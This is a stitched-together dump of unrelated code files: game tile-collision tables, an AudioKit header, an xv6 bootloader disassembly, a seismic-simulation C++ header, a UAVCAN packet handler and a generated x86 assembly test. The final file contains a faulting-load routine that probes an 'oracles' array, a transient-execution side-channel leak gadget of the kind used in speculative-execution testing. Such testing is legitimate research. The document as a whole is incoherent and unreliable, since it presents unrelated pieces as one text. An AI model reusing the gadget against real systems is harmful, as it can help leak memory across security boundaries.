tilecoll WALL, WALL, DOOR, WALL ; 27
tilecoll WALL, WALL, WALL, DOOR ; 28
tilecoll WALL, WALL, WALL, WALL ; 29
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, WALL, WALL ; 2a
tilecoll WALL, WALL, WALL, WALL ; 2b
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, WALL, WALL ; 2c
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, WALL, WALL ; 2d
tilecoll WALL, WALL, WALL, DOOR ; 2e
tilecoll WALL, WALL, WALL, WALL ; 2f
tilecoll BUOY, BUOY, BUOY, WATER ; 30
tilecoll BUOY, BUOY, WATER, WATER ; 31
tilecoll BUOY, BUOY, WATER, BUOY ; 32
tilecoll FLOOR, FLOOR, WALL, WALL ; 33
tilecoll BUOY, WATER, BUOY, WATER ; 34
tilecoll WATER, WATER, WATER, WATER ; 35
tilecoll WATER, BUOY, WATER, BUOY ; 36
tilecoll WALL, WALL, WALL, DOOR ; 37
tilecoll BUOY, WATER, BUOY, BUOY ; 38
tilecoll WATER, WATER, BUOY, BUOY ; 39
tilecoll WATER, BUOY, BUOY, BUOY ; 3a
tilecoll WALL, WALL, WALL, WALL ; 3b
tilecoll HEADBUTT_TREE, FLOOR, FLOOR, FLOOR ; 3c
tilecoll FLOOR, HEADBUTT_TREE, FLOOR, FLOOR ; 3d
tilecoll FLOOR, FLOOR, HEADBUTT_TREE, FLOOR ; 3e
tilecoll FLOOR, FLOOR, FLOOR, HEADBUTT_TREE ; 3f
tilecoll WALL, WALL, WALL, FLOOR ; 40
tilecoll WALL, WALL, FLOOR, FLOOR ; 41
tilecoll WALL, WALL, FLOOR, WALL ; 42
tilecoll WATER, WATER, WATER, WATER ; 43
tilecoll WALL, FLOOR, WALL, FLOOR ; 44
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 45
tilecoll FLOOR, WALL, FLOOR, WALL ; 46
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 47
tilecoll WALL, FLOOR, WALL, WALL ; 48
tilecoll FLOOR, FLOOR, WALL, WALL ; 49
tilecoll FLOOR, WALL, WALL, WALL ; 4a
tilecoll HOP_DOWN, FLOOR, WALL, FLOOR ; 4b
tilecoll WALL, HOP_LEFT, WALL, HOP_LEFT ; 4c
tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 4d
tilecoll WALL, HOP_LEFT, WALL, HOP_LEFT ; 4e
tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 4f
tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 50
tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 51
tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 52
tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 53
tilecoll WATER, WATER, WATER, WATER ; 54
tilecoll WATER, WATER, WATER, WATER ; 55
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 56
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 57
tilecoll WATER, WATER, WATER, WATER ; 58
tilecoll WATER, WATER, WATER, WATER ; 59
tilecoll HOP_DOWN, FLOOR, WALL, FLOOR ; 5a
tilecoll HEADBUTT_TREE, CUT_TREE, FLOOR, FLOOR ; 5b
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE, FLOOR ; 5c
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, FLOOR, FLOOR ; 5d
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, FLOOR, HEADBUTT_TREE ; 5e
tilecoll FLOOR, HEADBUTT_TREE, FLOOR, CUT_TREE ; 5f
tilecoll HEADBUTT_TREE, FLOOR, HEADBUTT_TREE, FLOOR ; 60
tilecoll HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE ; 61
tilecoll FLOOR, HEADBUTT_TREE, FLOOR, HEADBUTT_TREE ; 62
tilecoll FLOOR, FLOOR, CUT_TREE, HEADBUTT_TREE ; 63
tilecoll HEADBUTT_TREE, FLOOR, HEADBUTT_TREE, HEADBUTT_TREE ; 64
tilecoll FLOOR, FLOOR, HEADBUTT_TREE, HEADBUTT_TREE ; 65
tilecoll FLOOR, HEADBUTT_TREE, HEADBUTT_TREE, HEADBUTT_TREE ; 66
tilecoll CUT_TREE, FLOOR, HEADBUTT_TREE, FLOOR ; 67
tilecoll WALL, FLOOR, WALL, FLOOR ; 68
tilecoll FLOOR, WALL, FLOOR, WALL ; 69
tilecoll WALL, UP_WALL, WALL, FLOOR ; 6a
tilecoll UP_WALL, WALL, FLOOR, WALL ; 6b
tilecoll WALL, FLOOR, WALL, WALL ; 6c
tilecoll FLOOR, WALL, WALL, WALL ; 6d
tilecoll FLOOR, FLOOR, WALL, FLOOR ; 6e
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 6f
tilecoll UP_WALL, UP_WALL, FLOOR, FLOOR ; 70
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 71
tilecoll FLOOR, FLOOR, WALL, WALL ; 72
tilecoll FLOOR, FLOOR, CAVE, WALL ; 73
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 74
tilecoll WALL, WALL, FLOOR, FLOOR ; 75
tilecoll WATER, WATER, WATER, WATER ; 76
tilecoll WALL, WALL, DOOR, WALL ; 77
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 78
tilecoll WATER, WATER, WATER, WATER ; 79
tilecoll WATER, WATER, WATER, WATER ; 7a
tilecoll WALL, WALL, WALL, WALL ; 7b
tilecoll WALL, WALL, WALL, WALL ; 7c
tilecoll WALL, WALL, WALL, WALL ; 7d
tilecoll WALL, WALL, WALL, WALL ; 7e
tilecoll WALL, WALL, WALL, WALL ; 7f
|
//
// AKDCBlockDSP.hpp
// AudioKit
//
// Created by Aurelius Prochazka, revision history on Github.
// Copyright © 2018 AudioKit. All rights reserved.
//
#pragma once
#import <AVFoundation/AVFoundation.h>
typedef NS_ENUM(AUParameterAddress, AKDCBlockParameter) {
AKDCBlockParameterRampDuration
};
#ifndef __cplusplus
void *createDCBlockDSP(int nChannels, double sampleRate);
#else
#import "AKSoundpipeDSPBase.hpp"
class AKDCBlockDSP : public AKSoundpipeDSPBase {
private:
struct _Internal;
std::unique_ptr<_Internal> _private;
public:
AKDCBlockDSP();
int defaultRampDurationSamples = 10000;
void init(int _channels, double _sampleRate) override;
void deinit() override;
void process(AUAudioFrameCount frameCount, AUAudioFrameCount bufferOffset) override;
};
#endif
|
bootblock.o: file format elf32-i386
Disassembly of section .text:
00007c00 <start>:
# with %cs=0 %ip=7c00.
.code16 # Assemble for 16-bit mode
.globl start
start:
cli # BIOS enabled interrupts; disable
7c00: fa cli
# Zero data segment registers DS, ES, and SS.
xorw %ax,%ax # Set %ax to zero
7c01: 31 c0 xor %eax,%eax
movw %ax,%ds # -> Data Segment
7c03: 8e d8 mov %eax,%ds
movw %ax,%es # -> Extra Segment
7c05: 8e c0 mov %eax,%es
movw %ax,%ss # -> Stack Segment
7c07: 8e d0 mov %eax,%ss
00007c09 <seta20.1>:
# Physical address line A20 is tied to zero so that the first PCs
# with 2 MB would run software that assumed 1 MB. Undo that.
seta20.1:
inb $0x64,%al # Wait for not busy
7c09: e4 64 in $0x64,%al
testb $0x2,%al
7c0b: a8 02 test $0x2,%al
jnz seta20.1
7c0d: 75 fa jne 7c09 <seta20.1>
movb $0xd1,%al # 0xd1 -> port 0x64
7c0f: b0 d1 mov $0xd1,%al
outb %al,$0x64
7c11: e6 64 out %al,$0x64
00007c13 <seta20.2>:
seta20.2:
inb $0x64,%al # Wait for not busy
7c13: e4 64 in $0x64,%al
testb $0x2,%al
7c15: a8 02 test $0x2,%al
jnz seta20.2
7c17: 75 fa jne 7c13 <seta20.2>
movb $0xdf,%al # 0xdf -> port 0x60
7c19: b0 df mov $0xdf,%al
outb %al,$0x60
7c1b: e6 60 out %al,$0x60
# Switch from real to protected mode. Use a bootstrap GDT that makes
# virtual addresses map directly to physical addresses so that the
# effective memory map doesn't change during the transition.
lgdt gdtdesc
7c1d: 0f 01 16 lgdtl (%esi)
7c20: 78 7c js 7c9e <readsect+0xe>
movl %cr0, %eax
7c22: 0f 20 c0 mov %cr0,%eax
orl $CR0_PE, %eax
7c25: 66 83 c8 01 or $0x1,%ax
movl %eax, %cr0
7c29: 0f 22 c0 mov %eax,%cr0
//PAGEBREAK!
# Complete transition to 32-bit protected mode by using long jmp
# to reload %cs and %eip. The segment descriptors are set up with no
# translation, so that the mapping is still the identity mapping.
ljmp $(SEG_KCODE<<3), $start32
7c2c: ea .byte 0xea
7c2d: 31 7c 08 00 xor %edi,0x0(%eax,%ecx,1)
00007c31 <start32>:
.code32 # Tell assembler to generate 32-bit code now.
start32:
# Set up the protected-mode data segment registers
movw $(SEG_KDATA<<3), %ax # Our data segment selector
7c31: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds # -> DS: Data Segment
7c35: 8e d8 mov %eax,%ds
movw %ax, %es # -> ES: Extra Segment
7c37: 8e c0 mov %eax,%es
movw %ax, %ss # -> SS: Stack Segment
7c39: 8e d0 mov %eax,%ss
movw $0, %ax # Zero segments not ready for use
7c3b: 66 b8 00 00 mov $0x0,%ax
movw %ax, %fs # -> FS
7c3f: 8e e0 mov %eax,%fs
movw %ax, %gs # -> GS
7c41: 8e e8 mov %eax,%gs
# Set up the stack pointer and call into C.
movl $start, %esp
7c43: bc 00 7c 00 00 mov $0x7c00,%esp
call bootmain
7c48: e8 ee 00 00 00 call 7d3b <bootmain>
# If bootmain returns (it shouldn't), trigger a Bochs
# breakpoint if running under Bochs, then loop.
movw $0x8a00, %ax # 0x8a00 -> port 0x8a00
7c4d: 66 b8 00 8a mov $0x8a00,%ax
movw %ax, %dx
7c51: 66 89 c2 mov %ax,%dx
outw %ax, %dx
7c54: 66 ef out %ax,(%dx)
movw $0x8ae0, %ax # 0x8ae0 -> port 0x8a00
7c56: 66 b8 e0 8a mov $0x8ae0,%ax
outw %ax, %dx
7c5a: 66 ef out %ax,(%dx)
00007c5c <spin>:
spin:
jmp spin
7c5c: eb fe jmp 7c5c <spin>
7c5e: 66 90 xchg %ax,%ax
00007c60 <gdt>:
...
7c68: ff (bad)
7c69: ff 00 incl (%eax)
7c6b: 00 00 add %al,(%eax)
7c6d: 9a cf 00 ff ff 00 00 lcall $0x0,$0xffff00cf
7c74: 00 .byte 0x0
7c75: 92 xchg %eax,%edx
7c76: cf iret
...
00007c78 <gdtdesc>:
7c78: 17 pop %ss
7c79: 00 60 7c add %ah,0x7c(%eax)
...
00007c7e <waitdisk>:
entry = (void (*)(void))(elf->entry);
entry();
}
void waitdisk(void)
{
7c7e: 55 push %ebp
7c7f: 89 e5 mov %esp,%ebp
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
7c81: ba f7 01 00 00 mov $0x1f7,%edx
7c86: ec in (%dx),%al
// Wait for disk ready.
while ((inb(0x1F7) & 0xC0) != 0x40) ;
7c87: 83 e0 c0 and $0xffffffc0,%eax
7c8a: 3c 40 cmp $0x40,%al
7c8c: 75 f8 jne 7c86 <waitdisk+0x8>
}
7c8e: 5d pop %ebp
7c8f: c3 ret
00007c90 <readsect>:
// Read a single sector at offset into dst.
void readsect(void *dst, uint offset)
{
7c90: 55 push %ebp
7c91: 89 e5 mov %esp,%ebp
7c93: 57 push %edi
7c94: 53 push %ebx
7c95: 8b 5d 0c mov 0xc(%ebp),%ebx
// Issue command.
waitdisk();
7c98: e8 e1 ff ff ff call 7c7e <waitdisk>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
7c9d: ba f2 01 00 00 mov $0x1f2,%edx
7ca2: b8 01 00 00 00 mov $0x1,%eax
7ca7: ee out %al,(%dx)
7ca8: ba f3 01 00 00 mov $0x1f3,%edx
7cad: 89 d8 mov %ebx,%eax
7caf: ee out %al,(%dx)
7cb0: 89 d8 mov %ebx,%eax
7cb2: c1 e8 08 shr $0x8,%eax
7cb5: ba f4 01 00 00 mov $0x1f4,%edx
7cba: ee out %al,(%dx)
7cbb: 89 d8 mov %ebx,%eax
7cbd: c1 e8 10 shr $0x10,%eax
7cc0: ba f5 01 00 00 mov $0x1f5,%edx
7cc5: ee out %al,(%dx)
7cc6: 89 d8 mov %ebx,%eax
7cc8: c1 e8 18 shr $0x18,%eax
7ccb: 83 c8 e0 or $0xffffffe0,%eax
7cce: ba f6 01 00 00 mov $0x1f6,%edx
7cd3: ee out %al,(%dx)
7cd4: ba f7 01 00 00 mov $0x1f7,%edx
7cd9: b8 20 00 00 00 mov $0x20,%eax
7cde: ee out %al,(%dx)
outb(0x1F5, offset >> 16);
outb(0x1F6, (offset >> 24) | 0xE0);
outb(0x1F7, 0x20); // cmd 0x20 - read sectors
// Read data.
waitdisk();
7cdf: e8 9a ff ff ff call 7c7e <waitdisk>
}
static inline void
insl(int port, void *addr, int cnt)
{
asm volatile("cld; rep insl" :
7ce4: 8b 7d 08 mov 0x8(%ebp),%edi
7ce7: b9 80 00 00 00 mov $0x80,%ecx
7cec: ba f0 01 00 00 mov $0x1f0,%edx
7cf1: fc cld
7cf2: f3 6d rep insl (%dx),%es:(%edi)
insl(0x1F0, dst, SECTSIZE / 4);
}
7cf4: 5b pop %ebx
7cf5: 5f pop %edi
7cf6: 5d pop %ebp
7cf7: c3 ret
00007cf8 <readseg>:
// Read 'count' bytes at 'offset' from kernel into physical address 'pa'.
// Might copy more than asked.
void readseg(uchar * pa, uint count, uint offset)
{
7cf8: 55 push %ebp
7cf9: 89 e5 mov %esp,%ebp
7cfb: 57 push %edi
7cfc: 56 push %esi
7cfd: 53 push %ebx
7cfe: 8b 5d 08 mov 0x8(%ebp),%ebx
7d01: 8b 75 10 mov 0x10(%ebp),%esi
uchar *epa;
epa = pa + count;
7d04: 89 df mov %ebx,%edi
7d06: 03 7d 0c add 0xc(%ebp),%edi
// Round down to sector boundary.
pa -= offset % SECTSIZE;
7d09: 89 f0 mov %esi,%eax
7d0b: 25 ff 01 00 00 and $0x1ff,%eax
7d10: 29 c3 sub %eax,%ebx
// Translate from bytes to sectors; kernel starts at sector 1.
offset = (offset / SECTSIZE) + 1;
7d12: c1 ee 09 shr $0x9,%esi
7d15: 83 c6 01 add $0x1,%esi
// If this is too slow, we could read lots of sectors at a time.
// We'd write more to memory than asked, but it doesn't matter --
// we load in increasing order.
for (; pa < epa; pa += SECTSIZE, offset++)
7d18: 39 df cmp %ebx,%edi
7d1a: 76 17 jbe 7d33 <readseg+0x3b>
readsect(pa, offset);
7d1c: 56 push %esi
7d1d: 53 push %ebx
7d1e: e8 6d ff ff ff call 7c90 <readsect>
offset = (offset / SECTSIZE) + 1;
// If this is too slow, we could read lots of sectors at a time.
// We'd write more to memory than asked, but it doesn't matter --
// we load in increasing order.
for (; pa < epa; pa += SECTSIZE, offset++)
7d23: 81 c3 00 02 00 00 add $0x200,%ebx
7d29: 83 c6 01 add $0x1,%esi
7d2c: 83 c4 08 add $0x8,%esp
7d2f: 39 df cmp %ebx,%edi
7d31: 77 e9 ja 7d1c <readseg+0x24>
readsect(pa, offset);
}
7d33: 8d 65 f4 lea -0xc(%ebp),%esp
7d36: 5b pop %ebx
7d37: 5e pop %esi
7d38: 5f pop %edi
7d39: 5d pop %ebp
7d3a: c3 ret
00007d3b <bootmain>:
#define SECTSIZE 512
void readseg(uchar *, uint, uint);
void bootmain(void)
{
7d3b: 55 push %ebp
7d3c: 89 e5 mov %esp,%ebp
7d3e: 57 push %edi
7d3f: 56 push %esi
7d40: 53 push %ebx
7d41: 83 ec 0c sub $0xc,%esp
uchar *pa;
elf = (struct elfhdr *)0x10000; // scratch space
// Read 1st page off disk
readseg((uchar *) elf, 4096, 0);
7d44: 6a 00 push $0x0
7d46: 68 00 10 00 00 push $0x1000
7d4b: 68 00 00 01 00 push $0x10000
7d50: e8 a3 ff ff ff call 7cf8 <readseg>
// Is this an ELF executable?
if (elf->magic != ELF_MAGIC)
7d55: 83 c4 0c add $0xc,%esp
7d58: 81 3d 00 00 01 00 7f cmpl $0x464c457f,0x10000
7d5f: 45 4c 46
7d62: 75 50 jne 7db4 <bootmain+0x79>
return; // let bootasm.S handle error
// Load each program segment (ignores ph flags).
ph = (struct proghdr *)((uchar *) elf + elf->phoff);
7d64: a1 1c 00 01 00 mov 0x1001c,%eax
7d69: 8d 98 00 00 01 00 lea 0x10000(%eax),%ebx
eph = ph + elf->phnum;
7d6f: 0f b7 35 2c 00 01 00 movzwl 0x1002c,%esi
7d76: c1 e6 05 shl $0x5,%esi
7d79: 01 de add %ebx,%esi
for (; ph < eph; ph++) {
7d7b: 39 f3 cmp %esi,%ebx
7d7d: 73 2f jae 7dae <bootmain+0x73>
pa = (uchar *) ph->paddr;
7d7f: 8b 7b 0c mov 0xc(%ebx),%edi
readseg(pa, ph->filesz, ph->off);
7d82: ff 73 04 pushl 0x4(%ebx)
7d85: ff 73 10 pushl 0x10(%ebx)
7d88: 57 push %edi
7d89: e8 6a ff ff ff call 7cf8 <readseg>
if (ph->memsz > ph->filesz)
7d8e: 8b 4b 14 mov 0x14(%ebx),%ecx
7d91: 8b 43 10 mov 0x10(%ebx),%eax
7d94: 83 c4 0c add $0xc,%esp
7d97: 39 c1 cmp %eax,%ecx
7d99: 76 0c jbe 7da7 <bootmain+0x6c>
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
7d9b: 01 c7 add %eax,%edi
7d9d: 29 c1 sub %eax,%ecx
7d9f: b8 00 00 00 00 mov $0x0,%eax
7da4: fc cld
7da5: f3 aa rep stos %al,%es:(%edi)
return; // let bootasm.S handle error
// Load each program segment (ignores ph flags).
ph = (struct proghdr *)((uchar *) elf + elf->phoff);
eph = ph + elf->phnum;
for (; ph < eph; ph++) {
7da7: 83 c3 20 add $0x20,%ebx
7daa: 39 de cmp %ebx,%esi
7dac: 77 d1 ja 7d7f <bootmain+0x44>
}
// Call the entry point from the ELF header.
// Does not return!
entry = (void (*)(void))(elf->entry);
entry();
7dae: ff 15 18 00 01 00 call *0x10018
}
7db4: 8d 65 f4 lea -0xc(%ebp),%esp
7db7: 5b pop %ebx
7db8: 5e pop %esi
7db9: 5f pop %edi
7dba: 5d pop %ebp
7dbb: c3 ret
|
//
// Quad.hpp
// AxiSEM3D
//
// Created by Kuangdai Leng on 3/29/20.
// Copyright © 2020 Kuangdai Leng. All rights reserved.
//
// Quadrilateral
// generator of Element in core
#ifndef Quad_hpp
#define Quad_hpp
// eigen
#include "eigen_sem.hpp"
// components
#include "Mapping.hpp"
#include "Material.hpp"
#include "Undulation.hpp"
#include "OceanLoad.hpp"
// external
class ExodusMesh;
class ABC;
class LocalMesh;
class GLLPoint;
// release
class Domain;
class AttBuilder;
class SolidElement;
class FluidElement;
#include "GradientQuadrature.hpp"
// measure
class Element;
class Quad {
public:
// constructor
Quad(const ExodusMesh &exodusMesh, const LocalMesh &localMesh,
int localTag, bool useLuckyNumbers);
// finishing 3D properties
void finishing3D() {
mUndulation->finishing3D();
}
// finished 3D properties
void finished3D() {
mMaterial->finished3D();
mUndulation->finished3D(*this);
}
// setup GLL
void setupGLL(const ABC &abc, const LocalMesh &localMesh,
std::vector<GLLPoint> &GLLPoints) const;
// compute dt
double computeDt(double courant, const ABC &abc) const;
// get nodal sz
const eigen::DMat24 &getNodalSZ() const {
return mMapping->getNodalSZ();
}
// release to domain
void release(const LocalMesh &localMesh,
const std::vector<GLLPoint> &GLLPoints,
const std::unique_ptr<const AttBuilder> &attBuilder,
Domain &domain);
// inverse mapping: (s,z) -> (ξ,η)
// return true if (s,z) is inside this element
bool inverseMapping(const eigen::DCol2 &sz, eigen::DCol2 &xieta,
double maxIter = 10, double tolerance = 1e-9) const {
return mMapping->inverseMapping(sz, xieta, maxIter, tolerance);
}
private:
//////////////////////// interal ////////////////////////
// compute integral factor
eigen::DRowN computeIntegralFactor
(eigen::DMat2N &sz, std::array<eigen::DMat22, spectral::nPEM> &J) const;
// get normal
void computeNormal(int edge, const eigen::DMat2N &sz,
const std::array<eigen::DMat22, spectral::nPEM> &J,
std::vector<int> &ipnts,
eigen::arP_DMatX3 &normal) const;
// weights for CG4 attenuation
eigen::DRow4 computeWeightsCG4(const eigen::DMatPP_RM &ifPP) const;
public:
//////////////////////// get ////////////////////////
// get global tag
inline int getGlobalTag() const {
return mGlobalTag;
}
// get point nr
inline const eigen::IRowN &getPointNr() const {
return *mPointNr;
}
// get point sz
eigen::DMat2N getPointSZ() const {
eigen::DMat2N pointSZ;
const eigen::DMat2N &xieta = spectrals::getXiEtaElement(axial());
for (int ipnt = 0; ipnt < spectral::nPEM; ipnt++) {
pointSZ.col(ipnt) = mMapping->mapping(xieta.col(ipnt));
}
return pointSZ;
}
// get undulation
eigen::arN_DColX getUndulation() const {
return mUndulation->getPointwise();
}
// get material
std::unique_ptr<Material> &getMaterialPtr() {
return mMaterial;
}
// get undulation
std::unique_ptr<Undulation> &getUndulationPtr() {
return mUndulation;
}
// get oceanload
std::unique_ptr<OceanLoad> &getOceanLoadPtr() {
return mOceanLoad;
}
// surface edge
int getSurfaceEdge() const {
return mEdgesOnBoundary.at("TOP");
}
// fluid
bool fluid() const {
return mFluid;
}
// axial
bool axial() const {
return mEdgesOnBoundary.at("LEFT") != -1;
}
// create gradient
template <typename floatT>
std::unique_ptr<const GradientQuadrature<floatT>>
createGradient(eigen::DMat2N &sz, eigen::DMatPP_RM &ifPP) const {
// integral factor
static std::array<eigen::DMat22, spectral::nPEM> J;
const eigen::DRowN &ifact = computeIntegralFactor(sz, J);
// save integral factor for later use (CG4)
ifPP = Eigen::Map<const eigen::DMatPP_RM>(ifact.data());
// compute Jacobian and s^-1
static eigen::DMatPP_RM dsdxii, dsdeta, dzdxii, dzdeta, inv_s;
for (int ipol = 0; ipol < spectral::nPED; ipol++) {
for (int jpol = 0; jpol < spectral::nPED; jpol++) {
int ipnt = ipol * spectral::nPED + jpol;
// Jacobian
double detJ = J[ipnt].determinant();
dsdxii(ipol, jpol) = J[ipnt](0, 0) / detJ;
dsdeta(ipol, jpol) = -J[ipnt](0, 1) / detJ;
dzdxii(ipol, jpol) = -J[ipnt](1, 0) / detJ;
dzdeta(ipol, jpol) = J[ipnt](1, 1) / detJ;
// s^-1, use zero when s=0
double s = sz(0, ipnt);
inv_s(ipol, jpol) = (axial() && ipol == 0) ? 0. : 1. / s;
}
}
// return
return std::make_unique<GradientQuadrature<floatT>>
(dsdxii, dsdeta, dzdxii, dzdeta, inv_s, axial(), ifPP);
}
// get element
std::shared_ptr<const Element> getElement() const;
// get solid element
const std::shared_ptr<SolidElement> &getSolidElement() const;
// get fluid element
const std::shared_ptr<FluidElement> &getFluidElement() const;
//////////////////////////////////////////////////////
//////////////////////// data ////////////////////////
//////////////////////////////////////////////////////
private:
// tags
const int mLocalTag;
const int mGlobalTag;
// solid-fluid
const bool mFluid;
// model boundary
std::map<std::string, int> mEdgesOnBoundary;
// nr field
std::unique_ptr<eigen::IRowN> mPointNr = nullptr;
////////////// components //////////////
// mapping
std::unique_ptr<Mapping> mMapping = nullptr;
// material
std::unique_ptr<Material> mMaterial = nullptr;
// undulation
std::unique_ptr<Undulation> mUndulation = nullptr;
// ocean load
std::unique_ptr<OceanLoad> mOceanLoad = nullptr;
// element pointers after release
std::shared_ptr<SolidElement> mSolidElement = nullptr;
std::shared_ptr<FluidElement> mFluidElement = nullptr;
};
#endif /* Quad_hpp */
|
#include "main.h"
#include "data_packet_handler.hpp"
#include "ranging_thread.h"
#include <uavcan/uavcan.hpp>
#include <cvra/uwb_beacon/DataPacket.hpp>
using DataPacket = cvra::uwb_beacon::DataPacket;
static void data_packet_cb(const uavcan::ReceivedDataStructure<DataPacket>& msg)
{
static uint8_t data[1024];
for (auto i = 0u; i < msg.data.size(); i++) {
data[i] = msg.data[i];
}
ranging_send_data_packet(data, msg.data.size(), msg.dst_addr);
}
int data_packet_handler_init(Node& node)
{
static uavcan::Subscriber<DataPacket> subscriber(node);
return subscriber.start(data_packet_cb);
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x83c2, %rsi
lea addresses_UC_ht+0x6682, %rdi
clflush (%rdi)
nop
add %rbx, %rbx
mov $25, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_WC_ht+0x8fc3, %r11
and $25396, %rbp
mov (%r11), %ebx
nop
xor %rcx, %rcx
lea addresses_A_ht+0x1cfc2, %r11
nop
nop
nop
and %rbp, %rbp
movb (%r11), %r13b
nop
nop
nop
xor %r13, %r13
lea addresses_normal_ht+0xd402, %rsi
lea addresses_D_ht+0x14fc2, %rdi
nop
nop
add $31792, %rbx
mov $28, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $42874, %r13
lea addresses_WC_ht+0x13562, %rcx
nop
cmp $20957, %rbx
mov (%rcx), %r11d
nop
nop
nop
nop
dec %rbp
lea addresses_UC_ht+0xd85d, %rsi
lea addresses_WT_ht+0x1ed32, %rdi
nop
nop
add %r12, %r12
mov $38, %rcx
rep movsb
nop
cmp $3986, %r13
lea addresses_UC_ht+0x16fc2, %r13
nop
nop
nop
nop
sub $35646, %rdi
mov (%r13), %rbp
nop
nop
nop
nop
nop
sub $42259, %rcx
lea addresses_UC_ht+0x13c2, %rsi
lea addresses_D_ht+0x83c2, %rdi
nop
add $6243, %rbx
mov $99, %rcx
rep movsb
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_WC_ht+0x9f42, %rbp
nop
xor %rsi, %rsi
movb $0x61, (%rbp)
nop
nop
nop
sub %rbp, %rbp
lea addresses_WT_ht+0x1c394, %r11
dec %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%r11)
nop
and %r11, %r11
lea addresses_UC_ht+0xe065, %r12
nop
nop
sub $55041, %r11
movb $0x61, (%r12)
nop
nop
nop
nop
and $10701, %rsi
lea addresses_normal_ht+0x5bc2, %rdi
lfence
movl $0x61626364, (%rdi)
nop
nop
nop
sub %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rbx
push %rsi
// Store
mov $0x4698150000000b62, %r10
nop
nop
add %r14, %r14
movb $0x51, (%r10)
nop
nop
nop
nop
nop
and $20404, %r15
// Faulty Load
lea addresses_D+0x2bc2, %rsi
nop
sub $33513, %r10
mov (%rsi), %r11w
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rsi
pop %rbx
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'36': 7700}
